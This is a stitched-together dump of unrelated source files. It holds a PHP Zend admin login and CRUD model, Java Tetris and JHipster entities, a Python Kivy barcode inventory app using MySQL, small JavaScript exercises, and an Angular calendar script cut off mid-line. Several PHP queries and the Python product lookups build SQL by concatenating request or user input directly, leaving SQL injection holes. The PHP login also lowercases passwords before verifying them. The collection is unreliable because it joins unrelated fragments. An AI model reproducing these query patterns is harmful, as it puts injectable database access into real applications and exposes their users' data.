/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; <file_sep><?php class IndexController extends Zend_Controller_Action { public function init() { /* Initialize action controller here */ $this->db = Zend_Db_Table::getDefaultAdapter(); } public function indexAction(){ $this->redirect('login'); $this->view->ipaddres = $this->getUserIP(); } public function login(){ # code... } public function adminAction(){ $username = strtolower($_POST['username']); // die(print_r($username)); $ambil = $this->db->query('select * from tbl_admin where username_admin = "'.$username.'"')->fetch(); $password = strtolower($_POST['password']); if (password_verify($password,$ambil['password_<PASSWORD>'])) { // $this->db->where('username_admin',$username); // $query = $this->db->get('tbl_admin'); // foreach ($query->result() as $row) { // $sess = array( // 'kd_admin' => $row->kd_admin, // 'username_admin' => $row->username_admin, // 'password_<PASSWORD>' => <PASSWORD>, // 'nama_admin' => $row->nama_admin, // 'img_admin' => $row->img_admin, // 'email_admin' => $row->email_admin, // 'telpon_admin' => $row->telpon_admin, // 'alamat_admin' => $row->alamat_admin, // 'level' => $row->level_admin // ); // // die(print_r($sess)); // $this->session->set_userdata($sess); $data = $this->db->query("SELECT * FROM tbl_admin")->fetchAll(); // print_r($show); $this->view->title = 'List Admin'; $this->view->admin = $data; }else{ echo "salah"; die(); } } function getUserIP() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } return $ip; } } <file_sep><?php class Application_Model_Admin extends Zend_Db_Table { public function init() { /* Initialize action controller here */ $this->db = Zend_Db_Table::getDefaultAdapter(); } public function allAdmin() { $result = $this->db->query("SELECT * FROM tbl_admin")->fetchAll(); // die(print_r($result)); return $result; } public function cekAdmin($id='') { $result = $this->db->query('select * from tbl_admin where username_admin LIKE "%'.$id.'%"')->fetch(); // die(print_r($result)); return $result; } public function viewAdmin($id='') { $result = $this->db->query('select * from tbl_admin where kd_admin = "'.$id.'"')->fetch(); // die(print_r($result)); return $result; } public function deleteAdmin($id=''){ $result = $this->db->query('DELETE FROM tbl_admin WHERE kd_admin = "'.$id.'" '); // die(print_r($result)); return $result; } public function updateAdmin($id=''){ $result = $this->db->query("UPDATE tbl_admin SET nama_admin = '".$id['nama_admin']."', email_admin = '".$id['email_admin']."', no_hp_admin = '".$id['no_hp_admin']."' WHERE kd_admin = '".$id['kd_admin']."' "); // die(print_r($result)); return $result; } public function insertAdmin($id=''){ $result = $this->db->query('INSERT INTO tbl_admin (kd_admin, username_admin, password_admin, nama_admin, email_admin, no_hp_admin,img_admin, level_admin, create_date_admin ) VALUES ("'.$id['kd_admin'].'", "'.$id['username_admin'].'", "'.$id['password_<PASSWORD>'].'", "'.$id['nama_admin'].'","'.$id['email_admin'].'","'.$id['no_hp_admin'].'","'.$id['img_admin'].'","'.$id['level_admin'].'","'.$id['create_date_admin'].'")'); // die(print_r($result)); return $result; } function cariAdmin($id) { $result = $this->db->query('select * from tbl_admin where kd_admin like "%'.$id.'%"')->fetchAll(); // die(print_r($result)); return $result; } } <file_sep><?php class MenuController extends Zend_Controller_Action{ const SESSION_NAMESPACE = 'userRegister'; protected $session; public function init(){ $this->db = Zend_Db_Table::getDefaultAdapter(); $this->model = new Application_Model_Hr(); $this->session = new Zend_Session_Namespace('login'); // if ($this->session->kd_admin) { // $this->redirect('menu'); // }else{ // $this->redirect('login'); // } } public function indexAction(){ $this->view->user = $this->session->user['nama_admin']; } public function departmentAction($value=''){ } public function jabatanAction($value=''){ } public function adminAction($value=''){ # code... } public function reportAction($value=''){ } }
b898058f77c2a47e595ca97530e91aa28e002467
[ "Markdown", "SQL", "JavaScript", "PHP" ]
10
PHP
amirunpri2018/CRUD-Zend1-ExtJS
20cb4ec443689c7074a56a5ca8792d60828f42f2
2031bbb3e3a4958636fee9b972441947a30c631f
refs/heads/master
<repo_name>akamaie/NightSky<file_sep>/NIghtSky/src/Main.java public class Main { public static void main(String args[]) { NightSky nightSky = new NightSky(0.1, 40, 100); nightSky.print(); System.out.println("Number of stars: " + nightSky.starsInLastPrint()); } }
12608931a10f091fc1141ef46d9e98c2daaccdac
[ "Java" ]
1
Java
akamaie/NightSky
5125efbd4758dec6424f466a26a81025160b294c
13f5f50ac10ca4562fefc51e5c688071253a8a51
refs/heads/master
<repo_name>makarkalancha/SwingTutorial<file_sep>/src/p001_100/test.java package p001_100; public class test { int i=0; public test(){ i=8;} /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub // int i = 0; // test h = new test(); // while(h.i <=10){ // h.doit(); // } // int i1 =2; // int i2 = 5; // double d; // d = 3+i1 / i2 + 2; // System.out.println("d="+d); // StringBuffer[] mess = new StringBuffer[5]; //// mess[0] = new StringBuffer(); // mess[0].append("hello"); // System.out.println("fisr "+mess[0]); // // long m = 3L; // float f = 2.1f; // int i = 5; // System.out.println("result: "+m+f+i); String x = "> This is a test <"; fix(x); System.out.println(x); } // public static void doit(){ // i++; // System.out.println("heloo"); // } static void fix(String s){ String t = s; t=t.trim(); t = t.replace(' ', '_'); s=t; } } <file_sep>/src/tetris/Tetris.java package tetris; import java.awt.BorderLayout; import java.awt.Color; import java.awt.Dimension; import java.awt.FlowLayout; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.awt.event.KeyEvent; import javax.swing.BoxLayout; import javax.swing.ImageIcon; import javax.swing.JFrame; import javax.swing.JLabel; import javax.swing.JMenu; import javax.swing.JMenuBar; import javax.swing.JMenuItem; import javax.swing.JPanel; import javax.swing.KeyStroke; public class Tetris extends JFrame{ private JLabel statusbar; private Board board; private RightBoard rightBoard; private final int WIDTH = 400; private final int HEIGHT = 400; public Tetris(){ statusbar = new JLabel(" 0"); add(statusbar,BorderLayout.SOUTH); JMenuBar menuBar = new JMenuBar(); JMenu game = new JMenu("Game"); game.setMnemonic(KeyEvent.VK_G); ImageIcon iconNew = new ImageIcon("new_small.png"); ImageIcon iconClose = new ImageIcon("exit_small.png"); JMenuItem restart = new JMenuItem("Restart", iconNew); restart.setMnemonic(KeyEvent.VK_R); restart.setToolTipText("Restart"); restart.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_N, ActionEvent.CTRL_MASK)); restart.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { // TODO Auto-generated method stub board.start(); } }); JMenuItem close = new JMenuItem("Close", iconClose); close.setMnemonic(KeyEvent.VK_C); close.setToolTipText("Exit Tetris"); close.setAccelerator(KeyStroke.getKeyStroke(KeyEvent.VK_W, ActionEvent.CTRL_MASK)); close.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent arg0) { // TODO Auto-generated method stub System.exit(0); } }); game.add(restart); game.add(close); menuBar.add(game); add(menuBar); board = new Board(this); board.setLayout(new BoxLayout(board, BoxLayout.Y_AXIS)); board.setPreferredSize(new Dimension(WIDTH/2,HEIGHT)); // board.start(); // add(board); rightBoard = new RightBoard(board); // rightBoard.setLayout(new BoxLayout(board, BoxLayout.Y_AXIS)); // rightBoard.setBackground(Color.GREEN); rightBoard.setBackground(new Color(156, 160, 165)); rightBoard.setPreferredSize(new Dimension(WIDTH/2,HEIGHT)); board.register(rightBoard); rightBoard.setSubject(board); add(board, BorderLayout.WEST); add(rightBoard, BorderLayout.EAST); // JPanel a = new JPanel(); // a.setLayout(new BoxLayout(a, BoxLayout.Y_AXIS)); // add(a); // a.setBackground(Color.red); setJMenuBar(menuBar); // setSize(200, 400); setSize(WIDTH, HEIGHT); setTitle("TETRIS"); setDefaultCloseOperation(EXIT_ON_CLOSE); } public JLabel getStatusBar(){ return statusbar; } public static void main(String[] args) { Tetris game = new Tetris(); game.setLocationRelativeTo(null); game.setVisible(true); } }
b3059f383fa6943a33f4bbf811bfe40db61d2023
[ "Java" ]
2
Java
makarkalancha/SwingTutorial
09388a79aa0e2e1088b4c3d56fc9ca3834cf785c
ddf1a1bc68b0f606693d3df248d9222d4c0d9ac9
refs/heads/master
<file_sep>#for the keyboardlistener class from kivy.core.window import Window from kivy.uix.widget import Widget from scattertext import ScatterTextWidget #move to sep class #Only way i could access root object widgets was to pass ScatterTextWidget to the listener #This is what is returned after app.build() class MyKeyboardListener(ScatterTextWidget): def __init__(self, **kwargs): super(MyKeyboardListener, self).__init__(**kwargs) self._keyboard = Window.request_keyboard( self._keyboard_closed, self, 'text') if self._keyboard.widget: # If it exists, this widget is a VKeyboard object which you can use # to change the keyboard layout. pass self._keyboard.bind(on_key_down=self._on_keyboard_down) def _keyboard_closed(self): pass#TODO: find out why keyboard is closing when focus moves to input, then remove pass and add back logic def _on_keyboard_down(self, keyboard, keycode, text, modifiers): print(keycode) if keycode == (13,'enter'): self.bcEnter()###this is where 'enter' keypress is handled to submit form # Keycode is composed of an integer + a string # If we hit escape, release the keyboard if keycode[1] == 'escape': keyboard.release() # Return True to accept the key. Otherwise, it will be used by # the system. return True<file_sep>from kivy.app import App from kivy.core.window import Window from keylistener import MyKeyboardListener from dbconnect import DatabaseHandler #main app class MainApp(App): def build(self): Window.size = (400, 600) #resize window return MyKeyboardListener()#return this so we can listen to keys, it extends ScatterTextWidget so access to widgets if __name__ == '__main__': mainApp = MainApp() mainApp.run() <file_sep>import mysql.connector from mysql.connector import cursor #DatabaseHandler creates a connection to MySQL database and a cursor #close it with close() #lookupProd() to find product #insertProd() to create a product # TODO: Create setProduct that adss a new product to the product table # TODO: need to create a setSession() function for new sessions && loadSessionList() that would return a list of all active sessions so we can load them on main app start ##Need to finish this and then fix what i removed in scattertext ##also TODO need to add this classes event to the kv file to test class DatabaseHandler(object): def __init__(self): self.cnx = mysql.connector.connect(user='admin', password='<PASSWORD>', host='127.0.0.1', database='BarcodeInv') self.crs = self.getCursor() def getCursor(self): return self.cnx.cursor() def test(self): print(self.cnx) def close(self): self.cnx.close() def insertProd(self, barcode,line, tone, color ): sql = 'INSERT INTO products VALUES(%s,%s,%s,%s);' vals = (barcode,line,tone,color) try: self.crs.execute(sql,vals) self.cnx.commit() self.crs.fetchall() except mysql.connector.Error as err: print(err) #lookup product off the barcode in products table. If exists, returns rows. Exception returns false def lookupProd(self, barcode): sql = 'SELECT * FROM products WHERE barcode = ' + barcode +';' #vals = (barcode) print(sql) try: self.crs.execute(sql) rows = self.crs.fetchall() #print(rows) #for (barcode,line,tone,color) in self.cursor: # print('{}, {}, {}, {}'.format(barcode,line,tone,color)) #self.cnx.commit() return rows except Exception as err: print(err) return False def getSessProd(self, barcode, sessionid): sql = 'SELECT * FROM session_products WHERE barcode = ' + barcode +' AND sessionid = '+ str(sessionid) +';' #vals = (barcode) print(sql) try: self.crs.execute(sql) rows = self.crs.fetchall() return rows except mysql.connector.Error as err: print(err) return False def setSessProd(self, barcode, sessionid, qty=None): sql = 'INSERT INTO session_products VALUES(' + str(sessionid) + ",'"+ str(barcode) + "'," +str(qty) +');' print(sql) try: self.crs.execute(sql) self.cnx.commit() return True except mysql.connector.DatabaseError as err: print(' in setSessProd') print(err) return False def updateSessProd(self, barcode, sessionid, qty=None): sql = 'UPDATE session_products SET quantity =' + str(qty) + " WHERE barcode = '" + str(barcode) + "' AND sessionid = " + str(sessionid) + ';' print(sql) try: self.crs.execute(sql) self.cnx.commit() return True except mysql.connector.DatabaseError as err: print(' in updatesessprod') print(err) return False #db = DatabaseHandler() #print(db.getSessProd('884486366245',1)) #print(db.lookupProd('884486366245')) #db.updateSessProd('884486366245',1,1000) #db.close() <file_sep># BarcodeInventory Work in progress python application that is being built to solve an inventory problem in hair salons. Built on Kivy -- follow instructions below to install. https://kivy.org/doc/stable/installation/installation-windows.html Run "python MainApp.py" to launch. <file_sep>#main widget stuff from kivy.uix.button import Button from kivy.uix.label import Label from kivy.uix.floatlayout import FloatLayout from kivy.uix.scatter import Scatter#tracks touches from kivy.uix.textinput import TextInput from kivy.uix.boxlayout import BoxLayout from kivy.uix.dropdown import DropDown import random import dbconnect from barcodehandle import BarcodeHandler #for the keyboardlistener class from kivy.core.window import Window from kivy.uix.widget import Widget #move to sep class #Only way i could access root object widgets was to pass ScatterTextWidget to the listener #This is what is returned after app.build() class ScatterTextWidget(BoxLayout): #need to work in SESSIONS to the creation of database handler... test = BarcodeHandler(1) #what actually looks up the barcode when called def lookupColor(self,*args): labelText = self.ids['myLabel']#reference to the label to change input = self.ids['textInput']#reference to the input barcode = '' try: ##>mysql -u admin -pJess#0521 -- root same pass -- database BarcodeInv barcode = input.text.replace('\n','')#get the barcode text from the input we linked to through main.kv self.test.checkProd(barcode) except Exception as e: print(e) #bound to the "reporting" button in .kv currently #also called from MyKeyBoardListener._on_key_down if key pressed is 'enter' or '\n' entered def bcEnter(self,*args): self.lookupColor()#looks up color testText = self.ids['textInput']#reference to the labelto change testText.text = ''#clears input text #TODO: more logic here after the lookup. Maybe callback with success/fail handling here? #testing with dropdown for session loading class SessionDropDown(DropDown): pass class SessionButton(Widget): pass <file_sep>import dbconnect #Handles the barcode that was scanned, talks to the DatabaseHandler class to query and update the database # ARGUMENTS: sessionid is required. #TODO: require sessionid to create barcode handler. Probably do it in a try: except in scattertext #TODO: need to require a sessionid to instantiate class BarcodeHandler(object): def __init__(self,sessionid): self.sessionid = sessionid self.db = dbconnect.DatabaseHandler()#instance of DatabaseHandler def setSession(self, newSession): self.sessionid = newSession def getSession(self): return self.sessionid # 1 #use to check if the product exists before updating invetory or prompting to create the item in products table #maybe bad idea, qty passed here is passed to the other methods too .. kind of confusing. use data field? def checkProd(self, barcode, qty=None): prods = self.db.lookupProd(barcode)#lookup product and store the results if prods: print(prods) if qty == None: qty = 1 self.updateInv(prods, barcode, qty)#if exists, update database session_products with current sessionid else: #if product not in database, prompt user to create the product print("Product not found. Do you want to add this to the database?") #there is a setProduct already... return False # 2 def updateInv(self, prods, barcode, qty=None): #if the product is already in session_products for that id, just update the row sessProd = self.db.getSessProd(barcode, self.sessionid) if sessProd: #if the product already counted for this session print(sessProd) currQty = sessProd[0][2]#get the current quantity from the query results qty = qty + currQty#add the quantity scanned to the exisiting qty print(qty) self.db.updateSessProd(barcode, self.sessionid, qty)#updates the row in session_products for the new qty else: defaultQty = 1 self.db.setSessProd(barcode, self.sessionid, defaultQty)#insert into the session_prodcuts table with default qty of 1 #test = BarcodeHandler(1)#create an instance of handler and pass a session id that it stores #test.checkProd('884486366245', 15) #test.checkProd('30330',2020) #test.db.close() #IT WAS A MISPLACED SEMICOLON!!!! ALWAYS CHECK THE FINAL SQL!!! ##TODO: write logic for setSessProd -- also need logic call dbconnect.setProduct() which creates a totallhy new product
54f4537cdc6a2f8f06a34ec8c468027830c84ba1
[ "Markdown", "Python" ]
6
Python
tahawkins21/BarcodeInventory
1f841fa4cdabc89f0009a73e1573b9c771640c8f
dc8d744e5449e8aea5e9a8f232d8520f6e78ed41
refs/heads/master
<repo_name>thomaskeo/CODING<file_sep>/src/main/java/fr/iut/coding/web/propertyeditors/package-info.java /** * Property Editors. */ package fr.iut.coding.web.propertyeditors; <file_sep>/src/main/java/fr/iut/coding/domain/CodingSession.java package fr.iut.coding.domain; import com.fasterxml.jackson.annotation.JsonIgnore; import com.fasterxml.jackson.databind.annotation.JsonDeserialize; import com.fasterxml.jackson.databind.annotation.JsonSerialize; import fr.iut.coding.domain.util.CustomDateTimeDeserializer; import fr.iut.coding.domain.util.CustomDateTimeSerializer; import org.hibernate.annotations.Cache; import org.hibernate.annotations.CacheConcurrencyStrategy; import org.hibernate.annotations.Type; import org.joda.time.DateTime; import javax.persistence.*; import java.io.Serializable; import java.util.HashSet; import java.util.Set; import java.util.Objects; /** * A CodingSession. */ @Entity @Table(name = "T_CODINGSESSION") @Cache(usage = CacheConcurrencyStrategy.NONSTRICT_READ_WRITE) public class CodingSession implements Serializable { @Id @GeneratedValue(strategy = GenerationType.AUTO) private Long id; @Column(name = "theme") private String theme; @Type(type = "org.jadira.usertype.dateandtime.joda.PersistentDateTime") @JsonSerialize(using = CustomDateTimeSerializer.class) @JsonDeserialize(using = CustomDateTimeDeserializer.class) @Column(name = "session_start") private DateTime sessionStart; @Type(type = "org.jadira.usertype.dateandtime.joda.PersistentDateTime") @JsonSerialize(using = CustomDateTimeSerializer.class) @JsonDeserialize(using = CustomDateTimeDeserializer.class) @Column(name = "session_end") private DateTime sessionEnd; @ManyToOne private User animateur; @ManyToOne private Etat_session etat_session; public Long getId() { return id; } public void setId(Long id) { this.id = id; } public String getTheme() { return theme; } public void setTheme(String theme) { this.theme = theme; } public DateTime getSessionStart() { return sessionStart; } public void setSessionStart(DateTime sessionStart) { this.sessionStart = sessionStart; } public DateTime getSessionEnd() { return sessionEnd; } public void setSessionEnd(DateTime sessionEnd) { this.sessionEnd = sessionEnd; } public User getAnimateur() { return animateur; } public void setAnimateur(User user) { this.animateur = user; } public Etat_session getEtat_session() { return etat_session; } public void setEtat_session(Etat_session etat_session) { this.etat_session = etat_session; } @Override public boolean equals(Object o) { if (this == o) { return true; } if (o == null || getClass() != o.getClass()) { return false; } CodingSession codingSession = (CodingSession) o; if ( ! Objects.equals(id, codingSession.id)) return false; return true; } @Override public int hashCode() { return Objects.hashCode(id); } @Override public String toString() { return "CodingSession{" + "id=" + id + ", theme='" + theme + "'" + ", sessionStart='" + sessionStart + "'" + ", sessionEnd='" + sessionEnd + "'" + '}'; } } <file_sep>/src/main/java/fr/iut/coding/repository/AjouterVideoRepository.java package fr.iut.coding.repository; import fr.iut.coding.domain.AjouterVideo; import org.springframework.data.jpa.repository.*; import java.util.List; /** * Spring Data JPA repository for the AjouterVideo entity. */ public interface AjouterVideoRepository extends JpaRepository<AjouterVideo,Long> { } <file_sep>/src/main/webapp/scripts/app/entities/ajouterVideo/ajouterVideo-detail.controller.js 'use strict'; angular.module('codingApp') .controller('AjouterVideoDetailController', function ($scope, $stateParams, AjouterVideo) { $scope.ajouterVideo = {}; $scope.load = function (id) { AjouterVideo.get({id: id}, function(result) { $scope.ajouterVideo = result; }); }; $scope.load($stateParams.id); }); <file_sep>/src/main/java/fr/iut/coding/web/rest/CodingSessionResource.java package fr.iut.coding.web.rest; import com.codahale.metrics.annotation.Timed; import fr.iut.coding.domain.CodingSession; import fr.iut.coding.repository.CodingSessionRepository; import fr.iut.coding.web.rest.util.PaginationUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.data.domain.Page; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import javax.inject.Inject; import java.net.URI; import java.net.URISyntaxException; import java.util.List; import java.util.Optional; /** * REST controller for managing CodingSession. */ @RestController @RequestMapping("/api") public class CodingSessionResource { private final Logger log = LoggerFactory.getLogger(CodingSessionResource.class); @Inject private CodingSessionRepository codingSessionRepository; /** * POST /codingSessions -> Create a new codingSession. */ @RequestMapping(value = "/codingSessions", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE) @Timed public ResponseEntity<Void> create(@RequestBody CodingSession codingSession) throws URISyntaxException { log.debug("REST request to save CodingSession : {}", codingSession); if (codingSession.getId() != null) { return ResponseEntity.badRequest().header("Failure", "A new codingSession cannot already have an ID").build(); } codingSessionRepository.save(codingSession); return ResponseEntity.created(new URI("/api/codingSessions/" + codingSession.getId())).build(); } /** * PUT /codingSessions -> Updates an existing codingSession. */ @RequestMapping(value = "/codingSessions", method = RequestMethod.PUT, produces = MediaType.APPLICATION_JSON_VALUE) @Timed public ResponseEntity<Void> update(@RequestBody CodingSession codingSession) throws URISyntaxException { log.debug("REST request to update CodingSession : {}", codingSession); if (codingSession.getId() == null) { return create(codingSession); } codingSessionRepository.save(codingSession); return ResponseEntity.ok().build(); } /** * GET /codingSessions -> get all the codingSessions. */ @RequestMapping(value = "/codingSessions", method = RequestMethod.GET, produces = MediaType.APPLICATION_JSON_VALUE) @Timed public ResponseEntity<List<CodingSession>> getAll(@RequestParam(value = "page" , required = false) Integer offset, @RequestParam(value = "per_page", required = false) Integer limit) throws URISyntaxException { Page<CodingSession> page = codingSessionRepository.findAll(PaginationUtil.generatePageRequest(offset, limit)); HttpHeaders headers = PaginationUtil.generatePaginationHttpHeaders(page, "/api/codingSessions", offset, limit); return new ResponseEntity<>(page.getContent(), headers, HttpStatus.OK); } /** * GET /codingSessions/:id -> get the "id" codingSession. */ @RequestMapping(value = "/codingSessions/{id}", method = RequestMethod.GET, produces = MediaType.APPLICATION_JSON_VALUE) @Timed public ResponseEntity<CodingSession> get(@PathVariable Long id) { log.debug("REST request to get CodingSession : {}", id); return Optional.ofNullable(codingSessionRepository.findOne(id)) .map(codingSession -> new ResponseEntity<>( codingSession, HttpStatus.OK)) .orElse(new ResponseEntity<>(HttpStatus.NOT_FOUND)); } /** * DELETE /codingSessions/:id -> delete the "id" codingSession. */ @RequestMapping(value = "/codingSessions/{id}", method = RequestMethod.DELETE, produces = MediaType.APPLICATION_JSON_VALUE) @Timed public void delete(@PathVariable Long id) { log.debug("REST request to delete CodingSession : {}", id); codingSessionRepository.delete(id); } } <file_sep>/src/main/webapp/scripts/components/entities/codingSession/codingSession.service.js 'use strict'; angular.module('codingApp') .factory('CodingSession', function ($resource) { return $resource('api/codingSessions/:id', {}, { 'query': { method: 'GET', isArray: true}, 'get': { method: 'GET', transformResponse: function (data) { data = angular.fromJson(data); data.sessionStart = new Date(data.sessionStart); data.sessionEnd = new Date(data.sessionEnd); return data; } }, 'update': { method:'PUT' } }); }); <file_sep>/src/main/webapp/scripts/app/entities/seancePrive/seancePrive.js 'use strict'; angular.module('codingApp') .config(function ($stateProvider) { $stateProvider .state('seancePrive', { parent: 'entity', url: '/seancePrive', data: { roles: ['ROLE_USER'], pageTitle: 'codingApp.seancePrive.home.title' }, views: { 'content@': { templateUrl: 'scripts/app/entities/seancePrive/seancePrives.html', controller: 'SeancePriveController' } }, resolve: { translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) { $translatePartialLoader.addPart('seancePrive'); return $translate.refresh(); }] } }) .state('seancePriveDetail', { parent: 'entity', url: '/seancePrive/:id', data: { roles: ['ROLE_USER'], pageTitle: 'codingApp.seancePrive.detail.title' }, views: { 'content@': { templateUrl: 'scripts/app/entities/seancePrive/seancePrive-detail.html', controller: 'SeancePriveDetailController' } }, resolve: { translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) { $translatePartialLoader.addPart('seancePrive'); return $translate.refresh(); }] } }); }); <file_sep>/src/main/webapp/scripts/components/form/pagination.directive.js /* globals $ */ 'use strict'; angular.module('codingApp') .directive('codingAppPagination', function() { return { templateUrl: 'scripts/components/form/pagination.html' }; }); <file_sep>/src/main/java/fr/iut/coding/domain/package-info.java /** * JPA domain objects. */ package fr.iut.coding.domain; <file_sep>/src/main/webapp/scripts/app/entities/etat_session/etat_session.js 'use strict'; angular.module('codingApp') .config(function ($stateProvider) { $stateProvider .state('etat_session', { parent: 'entity', url: '/etat_session', data: { roles: ['ROLE_USER'], pageTitle: 'codingApp.etat_session.home.title' }, views: { 'content@': { templateUrl: 'scripts/app/entities/etat_session/etat_sessions.html', controller: 'Etat_sessionController' } }, resolve: { translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) { $translatePartialLoader.addPart('etat_session'); return $translate.refresh(); }] } }) .state('etat_sessionDetail', { parent: 'entity', url: '/etat_session/:id', data: { roles: ['ROLE_USER'], pageTitle: 'codingApp.etat_session.detail.title' }, views: { 'content@': { templateUrl: 'scripts/app/entities/etat_session/etat_session-detail.html', controller: 'Etat_sessionDetailController' } }, resolve: { translatePartialLoader: ['$translate', '$translatePartialLoader', function ($translate, $translatePartialLoader) { $translatePartialLoader.addPart('etat_session'); return $translate.refresh(); }] } }); }); <file_sep>/README.md README for coding ========================== <file_sep>/src/main/java/fr/iut/coding/web/filter/package-info.java /** * Servlet filters. */ package fr.iut.coding.web.filter; <file_sep>/src/main/java/fr/iut/coding/web/websocket/dto/package-info.java /** * Data Access Objects used by WebSocket services. */ package fr.iut.coding.web.websocket.dto; <file_sep>/src/main/webapp/scripts/app/entities/codingSession/codingSession.controller.js 'use strict'; angular.module('codingApp') .controller('CodingSessionController', function ($scope, CodingSession, User, Etat_session, ParseLinks) { $scope.codingSessions = []; $scope.users = User.query(); $scope.etat_sessions = Etat_session.query(); $scope.page = 1; $scope.loadAll = function() { CodingSession.query({page: $scope.page, per_page: 20}, function(result, headers) { $scope.links = ParseLinks.parse(headers('link')); $scope.codingSessions = result; }); }; $scope.loadPage = function(page) { $scope.page = page; $scope.loadAll(); }; $scope.loadAll(); $scope.create = function () { CodingSession.update($scope.codingSession, function () { $scope.loadAll(); $('#saveCodingSessionModal').modal('hide'); $scope.clear(); }); }; $scope.update = function (id) { CodingSession.get({id: id}, function(result) { $scope.codingSession = result; $('#saveCodingSessionModal').modal('show'); }); }; $scope.delete = function (id) { CodingSession.get({id: id}, function(result) { $scope.codingSession = result; $('#deleteCodingSessionConfirmation').modal('show'); }); }; $scope.confirmDelete = function (id) { CodingSession.delete({id: id}, function () { $scope.loadAll(); $('#deleteCodingSessionConfirmation').modal('hide'); $scope.clear(); }); }; $scope.clear = function () { $scope.codingSession = {theme: null, sessionStart: null, sessionEnd: null, id: null}; $scope.editForm.$setPristine(); $scope.editForm.$setUntouched(); }; });
f4be9cf0e4b9c5ad4f17c72c3b6cbc7dca770165
[ "JavaScript", "Java", "Markdown" ]
14
Java
thomaskeo/CODING
6d20b5403788f0d7e5c78717c60fb786c87cbfb3
fa70bfe235cb292cf9b5ba650240920265d79c9d
refs/heads/main
<repo_name>jessicafeese/Assignment3JessicaFeese.appstudio<file_sep>/forms/functionCompare/functionCompare.js function Compare(pass1, pass2) { password = <PASSWORD> confirm = pass2 let passCompare = password.localeCompare(confirm) if (passCompare == 0) { console.log('The passwords are the same.') }else{ console.log('The passwords are not the same.') } } let password1 = prompt('Enter your password: ') let password2 = prompt('Confirm your password: ') let comparePass = Compare(password1, password2) <file_sep>/forms/cityWhile/cityWhile.js let wantToContinue = true let cities = [] while (wantToContinue) { if (cities == '') { newCity = prompt("Enter a city: ") cities.push(newCity) wantToContinue = confirm('Do you want to enter another city? OK for Yes, Cancel for No.') } else { newCity = prompt("Enter another city: ") cities.push(newCity) wantToContinue = confirm('Do you want to enter another city? OK for Yes, Cancel for No.') } } let i = 0 while (i < cities.length) { console.log(cities[i].toLowerCase()) i++; }
192e699286b444f165a0175f8ca3d2954ec75ce5
[ "JavaScript" ]
2
JavaScript
jessicafeese/Assignment3JessicaFeese.appstudio
eaeb996fe1ac1aa1710de67c854c54eca8a2e542
1d38b62ca816e91adca169fb0b3df937832f7e9f
refs/heads/master
<repo_name>qazirian/Events-Handling-Calendar<file_sep>/js/app.js angular.module('myApp', []) .controller('mainCtrl', function($scope, $filter) { $(document).ready(function() { eventsFunction(''); }); // Calendar var picker = new Pikaday({ field: document.getElementById('datepicker'), minDate: new Date(1990, 01, 31), maxDate: new Date(2040, 12, 31), yearRange: [2000, 2040] }); var set = document.getElementById('set-button'); set.addEventListener('click', function() { var getDate = document.getElementById('datepicker').value; if (getDate != '') { var myDate = new Date(getDate); //add a day to the date myDate.setDate(myDate.getDate() + 1); eventsFunction(new Date(myDate)); } }, false); }); function eventsFunction(value) { var showCalendar = new DayPilot.Calendar("showCalendar"); showCalendar.businessBeginsHour = 9; showCalendar.businessEndsHour = 18; // showCalendar.showNonBusiness = false; var newDATE = new Date(); var days = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"]; var months = ["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]; if (value == '') { showCalendar.startDate = new DayPilot.Date(newDATE); } else { showCalendar.startDate = new DayPilot.Date(value); // document.getElementById('datepicker').value = ''; } showCalendar.viewType = "Day"; // showCalendar.durationBarVisible = true; showCalendar.events.list = [{ "start": "2040-02-29T08:00:00", "end": new DayPilot.Date("2040-02-29T08:00:00").addHours(2), "id": "23ef6fcd-e12d-b085-e38a-a4e23d0bb61d", "text": "Event 1", "backColor": "#FFE599", "borderColor": "#000" }, { "start": "2018-06-02T12:00:00", "end": "2018-06-02T14:00:00", "id": "fb62e2dd-267e-ec91-886b-73574d24e25a", "text": "S2 Reparing", "backColor": "#ccc", "borderColor": "#3D85C6" }, { "start": "2018-06-03T11:00:00", "end": new DayPilot.Date("2018-06-03T11:00:00").addHours(5), "id": "fb62e2dd-267e-ec91-886b-73574d24e25a", "text": "Nokia Reparing", "backColor": "#9FC5E8", "borderColor": "#3D85C6" } ]; showCalendar.onBeforeEventRender = function(args) { if (args.data.tags && args.data.tags.type === "important") { args.data.html = "<b>Important Event</b><br>" + args.data.text; args.data.fontColor = "#fff"; args.data.backColor = "#E06666"; } }; showCalendar.eventDeleteHandling = "Update"; showCalendar.onEventDelete = function(args) { if (!confirm("Do you really want to delete this event?")) { args.preventDefault(); } }; showCalendar.onEventDeleted = function(args) { $.post("/event/delete/" + args.e.id(), function(result) { showCalendar.message("Event deleted: " + args.e.text()); }); }; showCalendar.onEventClicked = function(args) { var startDateGet = new Date(args.e.cache.start.value); var endDateGet = new Date(args.e.cache.end.value); $.alert({ title: 'Event Detail', content: "<b style='color:green;font-size:17px;'>" + args.e.cache.text + "</b><br> <br>( " + startDateGet.getDate() + " " + months[startDateGet.getMonth()] + " " + formatAMPM(startDateGet) + " " + days[startDateGet.getDay()] + " to " + endDateGet.getDate() + " " + months[endDateGet.getMonth()] + " " + 